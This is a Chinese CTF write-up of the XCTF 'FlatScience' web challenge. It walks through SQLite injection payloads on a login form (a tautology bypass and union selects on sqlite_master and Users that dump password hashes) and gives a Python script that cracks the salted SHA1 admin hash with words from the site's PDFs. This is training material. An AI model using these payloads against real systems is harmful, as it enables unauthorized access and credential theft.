• XCTF-FlatScience


    FlatScience

    • 题目描述

      啥描述也没有

    • 解题过程

      • 页面有好多链接,除了论文pdf之外,还有子目录下的index.html

        比如:/1/index.html/1/3/index.html

      • 扫了下,有/admin.php,/login.phprobots.txt(里面也是这俩页面)

      • /login.php页面,id加引号有报错,是SQLite3

        ' or 2=2 --直接登录上了,进来是最开始的那个/index.html

        登陆成功会跳转,没有回显,猜测可以进行布尔/延时盲注,以前好像没做过sqlite的注入题,好多关键字和函数都用不了,找的一些payload也用不了,丢给sqlmap跑了一下,可以延时盲注,但这个盲注太慢了(一直出错)

      • 去看了/admin.php,大概是/login.php的加强版,没法注入

      • 到这块思路有点断,只能等比蜗牛还慢的sqlmap跑点东西出来

      • 等结果的时候看了下源码,发现有测试参数

        访问?debug,返回了源码(下面是php部分)

        <?php
        if(isset($_POST['usr']) && isset($_POST['pw'])){
                $user = $_POST['usr'];
                $pass = $_POST['pw'];
        
                $db = new SQLite3('../fancy.db');
                
                $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
            if($res){
                $row = $res->fetchArray();
            }
            else{
                echo "<br>Some Error occourred!";
            }
        
            if(isset($row['id'])){
                    setcookie('name',' '.$row['name'], time() + 60, '/');
                    header("Location: /");
                    die();
            }
        
        }
        
        if(isset($_GET['debug']))
        highlight_file('login.php');
        ?>
        
        

        因为/admin.php页面给了用户名是admin,这里看看能不能注处对应的密码

        注意到:

        • user参数对应输入框ID
        • name参数会被写到cookie

        所以可以union select用admin的密码代替name

        ' union select id,password from Users where name='admin' --

        拿到密码是+3fab54a50e770d830c0416df817567662a9dc85c, = =忘了还有sha1

        刚好sqlmap也跑完了,发现只有一个Users

      • 猜测是要用admin账号在/admin.php登录,所以需要拿到密码

        有两个思路

        • 一个是跑出密码

        • 一个是覆盖之前的密码

          INSERT INTO Users(id, name, password) VALUES(999, 'test', '7c4a8d09ca3762af61e59520943dc26494f8941b')发现insert不可用

        • 用上边查密码的方法查了下admin的id=1,

          update Users set password='7c4a8d09ca3762af61e59520943dc26494f8941b' where id=1发现update不可用

      • 到这基本没思路了,跑密码也不能硬跑啊。。。

      • 看wp

        • 确实是队sqlite的了解太少了,这里用到了sqlite自带的结构表sqlite_master

          ' union select name,sql from sqlite_master --+

          得到

          CREATE TABLE Users(
              id int primary key,
              name varchar(255),
              password varchar(255),
              hint varchar(255)
          )
          
        • 把这几个字段都扒下来

          ' union select id,group_concat(xxx) from Users --+

          name password hint
          admin 3fab54a50e770d830c0416df817567662a9dc85c my fav word in my fav paper?!,
          fritze 54eae8935c90f467427f05e4ece82cf569f89507 my love is … ?
          hans 34b0bb7c304949f9ff2fc101eef0f048be10d3bd the password is password
        • 看hint的意思,密码是paper里的一个单词

          回过头去看这些paper的链接,没啥不同的,都下载下来吧

        • 贴个处理pdf的代码,偷懒copy了一份,然后调好了bug(python3)

          from pdfminer.pdfparser import PDFParser
          from pdfminer.pdfdocument import PDFDocument
          from pdfminer.pdfpage import PDFPage
          from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
          from pdfminer.converter import PDFPageAggregator
          from pdfminer.layout import LTTextBoxHorizontal, LAParams
          import logging
          import hashlib
          import re
          import os
          
          
          def pdf_2_txt(start, end):
              pdf_filename = start
              txt_filename = end
              # 不显示warning
              logging.propagate = False
              logging.getLogger().setLevel(logging.ERROR)
              device = PDFPageAggregator(PDFResourceManager(), laparams=LAParams())
              interpreter = PDFPageInterpreter(PDFResourceManager(), device)
              parser = PDFParser(open(pdf_filename, 'rb'))
              doc = PDFDocument(parser)
              parser.set_document(doc)
              # 检测文档是否提供txt转换,不提供就忽略
              if not doc.is_extractable:
                  pass
              else:
                  with open(txt_filename, 'w+', encoding="utf-8") as fw:
                      print("num page:{}".format(len(list(PDFPage.create_pages(doc)))))
                      for page in PDFPage.create_pages(doc):
                          interpreter.process_page(page)
                          layout = device.get_result()
                          for x in layout:
                              if isinstance(x, LTTextBoxHorizontal):
                                  results = x.get_text()
                                  fw.write(results)
          
          
          def get_pwd():
              for a in range(1, 31):
                  f = open(filePath + '\txt\' + str(a) + ".txt", "r", encoding='UTF-8').read()
                  wordlist = re.split(" |
          ", f)
          
                  for s in wordlist:
                      y = s + "Salz!"
                      encode = hashlib.sha1(y.encode('utf-8')).hexdigest()
                      if encode == "3fab54a50e770d830c0416df817567662a9dc85c":
                          print("password is :" + s)
                          break
          
          
          if __name__ == '__main__':
              filePath = ''  # 绝对路径
              lists = os.listdir(filePath)
          
              for i in range(1, 31):
                  x = filePath + '\' + lists[i - 1]
                  pdf_2_txt(x, filePath + '\txt\' + str(i) + '.txt')  # 在目录下创建一个txt文件夹
                  
          
    • 参考

      https://blog.csdn.net/qq_42967398/article/details/103480502

      https://www.e-learn.cn/topic/2155194

      https://www.cnblogs.com/xiaozi/p/5760321.html

  • 相关阅读:
    【作业】第二周作业, 适合14级1/2班
    【作业】第二周作业,适合13级1/2/3班
    【组织】请13级1/2/3班,14级1/2班 将同学们的博客地址列个清单回复(按班级来)
    【组织】13级1、2、3班和14级1、2班 结对、分组情况请回帖
    【转】没什么能够阻挡,你对自由的向往
    【转】小屁孩, 懂个啥
    【转】远程结对编程实战:看看别人是怎么做的
    【转】看见成长的自己:斯坦福大学心理学教授徳韦克访谈
    【作业】第一周作业
    从std::thread::id取得int值id
  • 原文地址:https://www.cnblogs.com/R3col/p/13044568.html
Copyright © 2020-2023  润新知